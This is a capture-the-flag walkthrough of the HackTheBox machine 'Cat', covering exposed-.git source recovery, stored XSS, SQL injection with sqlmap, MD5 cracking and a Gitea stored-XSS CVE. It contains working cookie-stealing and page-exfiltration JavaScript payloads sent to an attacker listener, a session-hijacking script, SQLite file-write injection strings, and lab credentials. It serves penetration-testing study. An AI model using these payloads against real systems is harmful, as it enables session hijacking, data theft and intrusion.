Cat
2025-02-01
INTRODUCTION
Cat was released as the fourth box of HTB’s Season 7 Vice… and it was an absolute delight! If you’re searching for a fun box to try some web attacks, look no further!
Plus, what is more fitting for a web-oriented box than a website for ranking cute cat photos? 🐱
Recon was easy, as long as .git is in your go-to dirbusting wordlist. Once discovering the exposed .git directory, you can read through the target’s website source code. Read through the source code carefully, and look for mistakes that the programmer made - there are more than one.
For foothold, keep in mind that not everything that looks like a vulnerability actually is, so be patient when figuring out your attack path. Part of what I loved about the foothold is that there is no guessing involved; the source code will tell you everything you need to know. The foothold attack path is typical of web apps: remember that sometimes exploits involve user interaction, too.
After gaining a foothold, go through your usual local privesc enumeration. There is still one pivot to achieve the user flag, but thankfully the thing you need to find is a typical item of a pentester’s checklist. Be diligent in your enumeration, and you’ll find it with ease. Finding this one thing will allow you to pivot to the next user and grab the user flag.
Achieving the root flag was also very fun. After gaining access to the User flag’s user, we are greeted with some emails containing hints. Carefully consider each hint, but don’t neglect to double check any known versions of things against known CVEs. You would be wise to recognize that the CVE you find can be extended to other, more complex attacks - not just the one from the PoC. Abusing this one CVE several times will lead you towards the root credential.
Cat was quite long for a Medium box, but each step led very logically into the next. I really appreciated that there was no “guessy” aspect to this box - it was 100% puzzle, and every hint was important. What a great time! If you’re looking to brush up on your web app pentesting skills, this is the box for you 😁

RECON
nmap scans
Port scan
I’ll begin by setting up a directory for the box, with an nmap subdirectory, then setting $RADDR to the target machine’s IP, and scanning it with a broad port scan of all 65535 ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
No results.
Webserver Strategy
Noting the redirect from the nmap scan, I added cat.htb to /etc/hosts and did banner grabbing on that domain:
DOMAIN=template.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
teeinstead of the append operator>>so that I don’t accidentally blow away my/etc/hostsfile with a typo of>when I meant to write>>.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

Next I’ll check for subdomains of cat.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that. I’ll move on to directory enumeration on http://cat.htb:
I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.
The wordlist I’m using was made by merging a few of my favourites from Seclists 👇
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4

Oh wow! An exposed .git - Maybe I’ll be able to reconstruct the source code. I’ll take a quick look at the site first, then see if I can use something like GitHacker on it.
Exploring the Website
The front page introduces that this site is about rating cat photos. Don’t they know that existed a long time ago? It’s called Reddit.

The Vote page suggests that there is a way to place votes. Not sure if it’s because the contest is closed, but the buttons don’t actually cause any web requests:

The Winners page shows the winners of last contest. It appears to be completely static as well. The Join page presents us with a form to register on the site (username, email, password).

I registered the test account jimbob : jim@bob.htb : password, which gives us a new form on the Contest page. I went ahead and registered my overweight, time-travelling, baby beaver named Chewbert:

Exposed Git
GitHacker
I haven’t had much luck with this tool lately, but it used to work great so I’ll try it now:
cd ./source
docker run -v /etc/hosts:/etc/hosts:ro -v $(pwd)/results:/tmp/githacker/results wangyihang/githacker --output-folder /tmp/githacker/results --url http://cat.htb/.git/
Hmm, no. It ends in a Python error claiming that git isn’t installed. Maybe there’s something wrong with the docker image. Oh well 🤷♂️
GitHacker
I used this tool recently on LinkVortex and it worked perfectly. Let’s try it again now:
cd ../tools
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python3 GitHack.py http://cat.htb/.git/
Moments later, the program terminates and we’re left with a cat.htb directory full of source code and some images:

That
cat_report_20240831_173129.phplooks auto-generated and has a predictable filename… I wonder if that will become useful later? 🤔
Source code analysis
Instead of running through every single file in this walkthrough, I’ll just summarize my findings. I’m going to read through the files in my usual sequence, from “boot to view”: i.e. starting at things like config.php and working towards cat_report_20240831_173129.php.
config.php shows that the website uses an SQLite database, /databases/cat.db
admin.php shows that there is some special handling of a user named axel:
// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
header("Location: /join.php");
exit();
}
I.e. if I can register as axel, I can navigate freely to admin.php. I can also see based on their coding style that they are trying to avoid XSS. Also, the admin page seems to have some kind of accept/reject feature for the cat contestants. Only a user on the axel session can use these:
<script>
function acceptCat(catName, catId) {
if (confirm("Are you sure you want to accept this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "accept_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
}
}
function rejectCat(catId) {
if (confirm("Are you sure you want to reject this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "delete_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catId=" + catId);
}
}
</script>
winners.php looks like it loads the winners report dynamically, and might be subject to file inclusion. If I can somehow force the web app to produce a particular winners report, I should be able to gain RCE this way:
<?php
$reportsDir = 'winners/';
$files = glob($reportsDir . '*.php');
if (!empty($files)) {
include $files[0];
} else {
echo "<h1>There are no winners.</h1>";
}
?>
contest.php provides the admin user (axel only) with a bunch of links to content rendered in view_cat.php:
<div class="container">
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
<strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
<strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
<strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
</div>
💡 I’ve been watching how our user-controlled inputs flow through the app - entering the database then being read again for the contest… and I think that the
usernamemight actually be an opportunity for XSS in the above code fromview_cat.php.If XSS is possible, then I might be able to go through this stragegy:
- Steal
axelsession- Vote for my own submission to cause my cat to win the contest
- ??? somehow control the Winner report, inserting PHP code into it
- File Inclusion, RCE
I should try registering a user with XSS payloads in the name.
vote.php shows that the vote buttons don’t actually do anything.
We can infer some of the database structure:
- Table
users- fieldsusername,password, andemail - Table
cats- fieldscat_id,photo_path,cat_name,age,birthdate,weight,owner_username - Table
accepted_cats- only field isname
FOOTHOLD
XSS for Axel Session
It’s the unsafe rendering of the user-controlled username that I suspect might cause an XSS, so customized a copy of view_cat.php, saved it alongside the source code for the site, and served it with a PHP dev server:
cd ./cat.htb
cp view_cat.php test.php
vim test.php # modified the code - see below
php -S localhost:8000
I did this for a few reasons:
- I want a version of the page where I get a
PHPSESSIDcookie, which is what I want to steal fromaxel. - It’s a reasonable simulation of how
axelmight access the page, but I can configure it to bypass using a database - It’s good to test things in small, reproducible steps
Here’s the code I came up with for test.php:
<?php
session_start();
$cat_id = isset($_GET['cat_id']) ? $_GET['cat_id'] : null;
$mockCats = [
1 => [
'weight' => 10,
'age' => 5,
'username' => 'unknown',
'cat_name' => 'Misti',
'birthdate' => '2018-04-01',
'photo_path' => './img/cat1.png'
],
2 => [
'weight' => 8,
'age' => 3,
'username' => 'Nixie',
'cat_name' => 'Fluffy',
'birthdate' => '2020-06-15',
'photo_path' => './img/cat2.png'
],
3 => [
'weight' => 6.5,
'age' => -25,
'username' => 'owner2',
'cat_name' => 'Chewbert',
'birthdate' => '2050-02-01',
'photo_path' => './img/beaver.jpg'
],
];
if ($cat_id && isset($mockCats[$cat_id])) {
$cat = $mockCats[$cat_id];
} else {
die("Cat not found or invalid cat ID.");
}
// Output the properly-escaped payload
echo "Owner Username: " . htmlspecialchars($cat['username']) . "<br>";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<!-- SAME AS view_cat.php -->
</head>
<body>
<div class="navbar">
<!-- SAME AS view_cat.php -->
</div>
<div class="container">
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo"
style="width: 50%;transform: translateX(50%);">
<div class="cat-info">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
<strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
<strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
<strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
</div>
</body>
</html>
Here’s how the page looks when I load the test data for Chewbert - this has no payload in it yet:

Great, now I can try out some different payloads as a username. This test.php was probably unnecessary, but it makes for a good simulation.
XSS Payload
I tried a few xss payloads. Since we have the source code, we know that there should be no escape character - the payload should just be raw HTML.
To rapidly generate a bunch of labelled XSS payloads, I’m using a tool I developed called Crxss-Eyed.
Usually, you point it at an API endpoint that accepts
x-www-form-urlencodedform data, then fires a ~100 different XSS payloads to see which ones worked. It’s a very “CTF-oriented” tool, but it allows you to see which payloads properly escape the HTML context to run JS.Each payload is labelled; when the target contacts your HTTP server, you’ll know exactly which payload(s) worked.
A byproduct of that tool is that it generates a list of payloads, all pre-labelled, in HTML format:
debug.lst. If you know exactly what HTML-escaping to do (if you’re in a white-box test, for example) then you can just cherry-pick fromdebug.lstfor convenience 😁
A bunch of the payloads worked in my test.php page, so I started trying them on the target by registering users with XSS payloads as their usernames.
Thankfully, I only needed to try two different payloads before I got a hit! 🎉 This was the winner:
<script src="http://10.10.14.95:8000/grabcookie.js?payload=extscript&f=debug"></script>
This XSS payload references a file that I’m serving using my HTTP listener, grabcookie.js (this file is generated by Crxss-eyed too):
function urlSafeBase64Encode(data) {
var encoded = btoa(data)
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=/g, '');
return encoded;
}
new Image().src='http://10.10.14.95:8000/grabcookie?b64='+urlSafeBase64Encode(document.cookie)
My HTTP server caught the initial request for grabcookie.js, and the subsequent request to steal the cookie itself:

☝️ Axel’s PHPSESSID is rrotvnlro5c6buqi79p68ckq6q.
Perfect! Now I can just overwrite my own PHPSESSID cookie with axel’s, and I can hijack their session:

😉 Worked perfectly!
While I was writing this, it looks like the cleanup script ran and changed Axel’s session: I’ll need to redo the XSS to get the session again.
Maybe it’s worth writing a script? Yeah, I’ll do that ✅
Session Hijacking script
To make the session hijacking more predictable and fast, I decided to write it into a script. Basically, I start up an HTTP listener (I’m using my simple-http-server that serves the grabcookie.js script I showed earlier and listens for the base64-encoded PHPSESSID to be sent to it.
This is all initiated by the automatic registration, login, and contest submission done by this script:
#!/usr/bin/env python3
import requests
import argparse
import random
import sys
import re
PROXIES = {
'http': 'http://127.0.0.1:8080'
}
BASE_URL = 'http://cat.htb'
HEADERS = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-GPC': '1'
}
session = requests.Session()
session.headers.update(HEADERS)
def register(url, listener):
_url = f'{url}/join.php'
params = {
'username': f'<script src="{listener}/grabcookie.js?payload=extscript&f=debug"></script>',
'email': 'jim@bob.htb',
'password': 'password',
'registerForm': 'Register'
}
print('Registering user... ', end='')
response = session.get(_url, params=params, proxies=PROXIES)
if 'Registration successful!' in response.text:
print('done.')
return True
elif 'Error: Username or email already exists.' in response.text:
print('already registered.')
return True
print(response.text)
return False
def logout(url):
print('Logging out... ', end='')
_url = f'{BASE_URL}/logout.php'
session.get(_url)
print('done')
def login(url, listener):
_url = f'{url}/join.php'
params = {
'loginUsername': f'<script src="{listener}/grabcookie.js?payload=extscript&f=debug"></script>',
'loginPassword': 'password',
'loginForm': 'Login'
}
print('Logging in... ', end='')
response = session.get(_url, params=params, proxies=PROXIES, allow_redirects=False)
if 300 <= response.status_code <= 399 and response.headers.get('Location') == '/':
print('done.')
return True
print(response.text)
return False
def contest_entry(url, image_file):
_url = f'{url}/contest.php'
#_url = f'{url}/test2.php'
#cat_name = f'Chewbert_{random.randint(100000, 999999)}'
cat_name = 'Chewbert'
data = {
'cat_name': cat_name,
'age': '5',
'birthdate': '2020-02-01',
'weight': '5'
}
files = {
'cat_photo': (image_file, open(image_file, 'rb'), 'image/jpeg')
}
print('Submitting contest entry... ', end='')
response = session.post(_url, data=data, files=files, proxies=PROXIES, allow_redirects=False)
if 'Cat has been successfully sent for inspection' in response.text:
print('done.')
return True
print(f'HTTP {response.status_code}\n{response.text}\n')
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Session Hijacking script for Cat')
parser.add_argument('-u', '--url', type=str, default='http://cat.htb', help='Target URL (default: http://cat.htb)')
parser.add_argument('-f', '--image-file', type=str, default='./cat.jpg', help='Path to the image file to upload')
parser.add_argument('-L', '--listener', type=str, default='http://localhost:8000', help='Listener URL (default: http://localhost:8000)')
parser.add_argument('-s', '--session', type=str, default='', help='Already have session ID, so skip the first part (ignore -f and -L)')
args = parser.parse_args()
# Perform the XSS
session_id = args.session if args.session else ''
if session_id == '':
if not register(args.url, args.listener):
print("Registration unsuccessful")
sys.exit(1)
if not login(args.url, args.listener):
print("Login unsuccessful")
sys.exit(1)
#print('Logged in with session: '+ session.cookies.get('PHPSESSID'))
if not contest_entry(args.url, args.image_file):
print("Contest entry unsuccessful")
sys.exit(1)
session_id = input("Check your HTTP Listener and paste received PHPSESSID here: \n>> ")
# Hijack axel session.
del session.cookies['PHPSESSID']
session.cookies.set('PHPSESSID', session_id)
# Do some stuff as axel ?
So now I can just run the script…

… and wait for my HTTP listener to catch the session ID:

Much more repeatable (and less clicks) than messing around with ZAP or Burp 👍
More Code Analysis
Since I just discovered a reliable way to hijack the axel session (and wrote a python script to do it), it makes sense to go back to code analysis and try to find all the new places that I can access with the axel session.
As seen earlier, I can access accept_cat.php and delete_cat.php… 🤔
After a little more reading, I found a possible SQLi vulnerability in accept_cat.php, which is one of the endpoints that requires the axel session. Note that cat_name is user-controlled. See how the author failed to use a prepared statement:
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
This is the javascript that usually sends a POST request to that endpoint:
function acceptCat(catName, catId) {
if (confirm("Are you sure you want to accept this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "accept_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
}
}
If I can find a way to leverage this SQLi into a file write into the /winners directory, then I should be able to utilize the file inclusion that I found earlier. Here’s the revised strategy:
- Hijack Axel session
- Use SQLi at
accept_cat.phpto write some PHP intowinnersdirectory - Use file inclusion at
winners.phpto run the inserted PHP, thus gaining RCE
SQLi > file write
SQLite3 doesn’t write files as easily as other DBMSs… I found one way at PayloadAllTheThings, and another on an SQLi cheatsheet
My attempts at rolling these methods into my python script looked like this:
# PayloadAllTheThings file write
sqli = 'Chewbert\'); SELECT writefile(\'/var/www/html/winners/testingtestingtestingtesting.php\', \'<?php phpinfo(); ?>\'); -- '
# Cheatsheet file write
sqli = 'Chewbert\'); ATTACH DATABASE \'/var/www/lol.php\' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (\'<?php phpinfo(); ?>\');--'
# Do stacked queries even work?
sqli = 'Chewbert\'); SELECT \'A -- '
accept_cat(args.url, 0, sqli)
accept_cat(url, id, name)is the function I wrote that performs thePOST /accept_cat.phprequest. Instead of the nameChewbertI’m providing the SQLi payload.
While this seemed like a solid idea, I’m pretty sure that stacked queries (on which both of the above payloads rely) are disabled. Unsurprising, since that’s the default state of SQLite3. I’m going to need ot find another way to write a file into /winners!
SQLMap
Now that we have a reliable way of session hijacking (thus positioning ourselves for SQLi), maybe I’ll just throw SQLMap at it and see what it can find out.
After all, it is written to find the most obscure SQLi payload types - far better than I can do simply by code analysis and my beginner/intermediate SQL knowledge.
First I’ll grab the session ID for axel:

Then I’ll set it as a bash variable, and run sqlmap. Note that I’ve marked the catName parameter as the one to test, and told sqlmap to only test SQLite payloads:
PHPSESSID=j7h016vl6g219cca6uutd4oh9l
sqlmap -u http://cat.htb/accept_cat.php --data 'catId=0&catName=Chewbert*' --cookie "PHPSESSID=$PHPSESSID" --dbms SQLite --level 5 --risk 3 --batch
😪 Due to my garbage internet connection, I couldn’t get sqlmap to work very well from my regular attacker host. In hopes of speeding up the attack, I switched to Pwnbox. For the remainder of this section, you’ll see screenshots from pwnbox, instead of from my machine.
This meant I had to manually transfer my
hijack_session.pyscript,grabcookie.js, andbeaver.jpg.Thankfully, it was all worth it later.
SQLMap found two attack methods:

Great! Let’s see if we can dump the users table:
sqlmap -u http://cat.htb/accept_cat.php --cookie "PHPSESSID=i6v8itdjvltp14kuo57u4d972i" --data 'catName=Chewbert*&catId=1' --batch --dbms SQLite --level 5 --risk 3 -T users --dump --threads 10

👍 Using the clipboard, I copied the contents of the dumped csv file back to my attacker host. As indicated by the rudimentary sqlmap password-cracking feature, these are definitely just plain ol’ MD5 hashes.
We can convert the csv file to a format crackable by john or hashcat by doing some text manipulation:
tail -n -11 users.csv | head -n 10 | cut -d ',' -f 3,4 | tr ',' ' ' | awk '{print $2":"$1}' > users.md5

WLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=$WLIST --format=Raw-MD5 users.md5
🎉 We got one hit: rosa : soyunaprincesarosa. Before moving on, I’ll check for credential re-use:
ssh rosa@$RADDR # soyunaprincesarosa

USER FLAG
Local Enumeration - rosa
There are a bunch of users on the target with login shells:
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash
There is a copy of the database we were accessing earlier, at /databases/cat.db. It seems like exactly the same database, and contains the same hashes as before, so I don’t think it’s important.
Checking netstat shows two unexpected services running:
:
We see SMTP running on TCP ports 25 and 587. There’s also something on port 3000 - probably a custom HTTP server! Let’s forward these ports by reconnecting as rosa:
ssh -L 25:localhost:25 -L 587:localhost:587 -L 3000:localhost:3000 rosa@cat.htb
Port 3000
First, let’s check out whatever is on port 3000. I’m going to go out on a limb and assume it’s HTTP 😉

It’s Gitea! This is a self-hosted Git service that we’ve encountered a few times (check out my walkthrough of Compiled for the deepest dive into it). We should be able to explore the service a bit without even making an account.
There are no repos. At least, none that I can see as anonymously. There are also no organizations listed.
However, rosa, axel and administrator have user accounts:

None of these accounts show any activity. Also, user registration is disabled.
Since I haven’t seen any clues regarding Gitea yet, I think I’ll leave this for now and come back later once I have an indication of what it’s being used for 🚩
SMTP
Ports 25 and 587 are SMTP. I wonder what it’s used for? Notably, there is no IMAP or POP running. That means that they’re probably relying on /var/mail for mailboxes:

Indeed - we see that axel, jobert, and root all have mail directories. I’ll try emailing these users, and see if the box is scripted for them to reply or something:
sendEmail -t jobert@cat.htb -f rosa@cat.htb -s localhost -u "Important subject"
You should check out http://10.10.14.95:8000! It's the best
[ctrl+d]
sendEmail -t axel@cat.htb -f rosa@cat.htb -s localhost -u "Important subject"
You should check out http://10.10.14.95:8000! It's the best
[ctrl+d]
My HTTP server was never contacted. I’ll keep SMTP in mind, but move on to other things now 🚩
Write permissions and ownership
Note that rosa in groups rosa and adm:
find / -writable 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
find / -user $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
find / -group $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
find / -group adm 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
The last command, checking for ownership by adm, gave a few interesting results:

The Apache access.log might be useful, since we know the site has a login and only uses HTTP. The mail.log might also be interesting, so would auth.log. After all that, I should sift through the syslog
Apache access log
The access log showed a very long history of axel logging in and using the web app. The same scripted sequence of interactions every time:

As we hoped, there’s a plaintext credential there! We now have a password for axel, at least for accessing the web app: axel : aNdZwgC4tI9gnVXv_e3Q
Let’s check it for credential re-use before continuing with the other logs:
ssh axel@cat.htb # aNdZwgC4tI9gnVXv_e3Q

🎉 Lucky! What an odd credential to reuse. The SSH connection us into /home/axel, adjacent to the user flag. We also have mail. Feel free to cat out the flag for some points:
cat user.txt
Mail log
We can see evidence of me playing with SMTP:

However, we also see that root is emailing itself exactly every 5 minutes. What could that be about? 🚩

Auth log
The auth.log file didn’t have any surprises inside. It showed evidence of the box creator doing their thing, then later of my logging in as rosa, then axel.
Syslog
I’m going to persue other enumeration (as axel) before resort to diving into the syslog 😅
ROOT FLAG
Local Enumeration - axel
First, I’ll note that…
axelhas no sudo privileges- nothing weird in their
env - no strange processes running
- no differences to
netstatcompared torosa
Next, let’s check out that email! It will be in /var/mail/axel.
There are actually two emails in there, both from rosa:
From rosa@cat.htb Sat Sep 28 04:51:50 2024 Return-Path: rosa@cat.htb Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592 for axel@cat.htb; Sat, 28 Sep 2024 04:51:50 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591 for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT Date: Sat, 28 Sep 2024 04:51:49 GMT From: rosa@cat.htb Message-Id: 202409280451.48S4pnlT001591@cat.htb Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024 Return-Path: rosa@cat.htb Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268 for axel@cat.htb; Sat, 28 Sep 2024 05:05:28 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267 for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT Date: Sat, 28 Sep 2024 05:05:28 GMT From: rosa@cat.htb Message-Id: 202409280505.48S55Sm0002267@cat.htb Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
Nice! There are two big clues in these emails:
Maybe we can pivot ot Jobert by using gitea? It may include some kind of user-interaction too, like phishing or XSS (otherwise, why the part about leaving a “clear description”?) 🤔
There is already a repo in Gitea! We just didn’t see it earlier because it is private.
Axel was told they have access, so I’ll check for credential re-use at Gitea, too.
This seems really promising at first, but even when we access Gitea as axel, there is no /administrator/Employee-management repo… I reset the box, but the result was the same! Where is this repo?
Gitea
Going back to Gitea, you can see from the footer that it’s running version 1.22.0. The current version is 1.23.1. Doing a quick check for exploits on this version, we see there is a stored XSS vulnerability (EDBID 52077 / CVE-2024-6886):
Steps to Reproduce
Log in to the application.
Create a new repository or modify an existing repository by clicking the Settings button from the
$username/$repo_name/settingsendpoint.In the Description field, input the following payload:
<a href=javascript:alert()>XSS test</a>Save the changes.
Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.
Let’s try it out. As Axel, I’ll add a new repo:

I’ll try filling out the Description with an XSS payload inside. I’ll start with the same payload I used to hijack the axel session initially:

Right after initializing the repo, I sent an email from axel to jobert, notifying them about the new repo and asking them to go check it out:

No result from that, though. I’ll try again, this time using the payload indicated from the steps to reproduce section shown earlier.
Since I know that the Description is also displayed within the
README.md, I’ll enable theInitialize Repository (Adds .gitignore, License and README)option and also add in a markdown-formatted link.
Turns out cats love cookies too!
<a href=javascript:fetch('http://10.10.14.95:8000/grabcookie?'+document.cookie)>Learn More</a>
This time, the target host contacted my HTTP listener:

Partial success!
However, it didn’t insert the cookie. It’s as if the JS didn’t actually run, but jobert clicked whatever link was presented.
XSS Session Hijack Again
🚫 This method did not lead to the result. It was informative though; I learned a bit about the format of the
<a href="javascript:...">style of XSS. If you’re short on time, skip ahead to the next section
I’ll try again, but this time the javascript will be behind a particular file (again I’ll use grabcookie.js)
Turns out cats love cookies too!
<a href="http://10.10.14.95:8000/grabcookie.js">anchor tag</a>
[markdown link](http://10.10.14.95:8000/grabcookie.js)
That worked! But all it did was load grabcookie.js, not execute it. The problem is that there’s not javascript execution there, only loading a .js file.
I’ll try combining my grabcookie.js script with the href=javascript: idea:
Turns out cats love cookies too!
<a href="javascript:const x=btoa(document.cookie).replace(/\+/g, \"-\").replace(/\//g, \"_\").replace(/=/g, \"\");const baseurl=http://10.10.14.95:8000/?b64=";const url=baseurl+x;fetch(url)>link</a>
This however, seems to have issues with the escaping of quotation marks. Let’s try again but with singlequotes. I’ll do this without involving the jobert email (i.e. just accessing the link myself):
<a href="javascript:const x=btoa(document.cookie).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');const baseurl='http://10.10.14.95:8000/?b64=';const url=baseurl+x;fetch(url)">link</a>

The payload worked fine, but no cookie. Then I realized I had missed something really obvious…

… the Gitea cookie is marked HttpOnly! 🤦♂️
Aside: Gitea cleanup script
I noticed that the cleanup script on Gitea was quite aggressive. To investigate, I checked the syslog as
rosa(who’s in theadmgroup), and found exactly what it’s doing:chown git:git /var/lib/gitea/data/gitea.db; chmod 644 /var/lib/gitea/data/gitea.db; cp /root/scripts/gitea.db /var/lib/gitea/data/gitea.db && rm -r /var/lib/gitea/data/gitea-repositories/*; cp -r /root/scripts/administrator/ /var/lib/gitea/data/gitea-repositories; chown git:git -R /var/lib/gitea/data/gitea-repositories
Gitea CSRF
The way I see it, we’ve identified two important things:
- A repeatable way to do Stored XSS against
jobert jobertis actually theadministratoruser on Gitea
My initial idea, to steal the administrator session cookie on Gitea, didn’t work out. The cookie is marked as HttpOnly, so no amount of XSS shenanigans will get past that fact.
🤔 So what else can we do when we have XSS into an authenticated user? We can make them perform other web requests (already demonstrated)
This is a textbook example of an opportunity for CSRF! 💡
New strategy
administrator can obviously access their own repositories. If we assume that the Employee-management actually exists (just axel wasn’t set as a collaborator), then maybe we can access the README.md that was clearly mentioned in the email hint?
▶️ The target file is at
http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md
Perfecting the payload
Before we go for the real target, I’ll try using this payload on myself - I’ll make a new repo with the payload in the description, and click the link from the Explore pane in Gitea:
//const tgturl='http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md';
const tgturl='/';
const exfil='http://10.10.14.95:8000/?b64=';
fetch(tgturl).then( response => {
return response.text();
}).then( text => {
const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
fetch(exfil+b64);
})
We can take this JS payload and put it inside an anchor tag:
<a href="javascript:const tgturl='/';const exfil='http://10.10.14.95:8000/?b64=';fetch(tgturl).then( response => {return response.text();}).then(text => {const b64=btoa(encodeURIComponent(text)).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');fetch(exfil+b64);})">link</a>
Submitting the above HTML as a repo description, I clicked the link in the description and saw my HTTP listener catch the data!

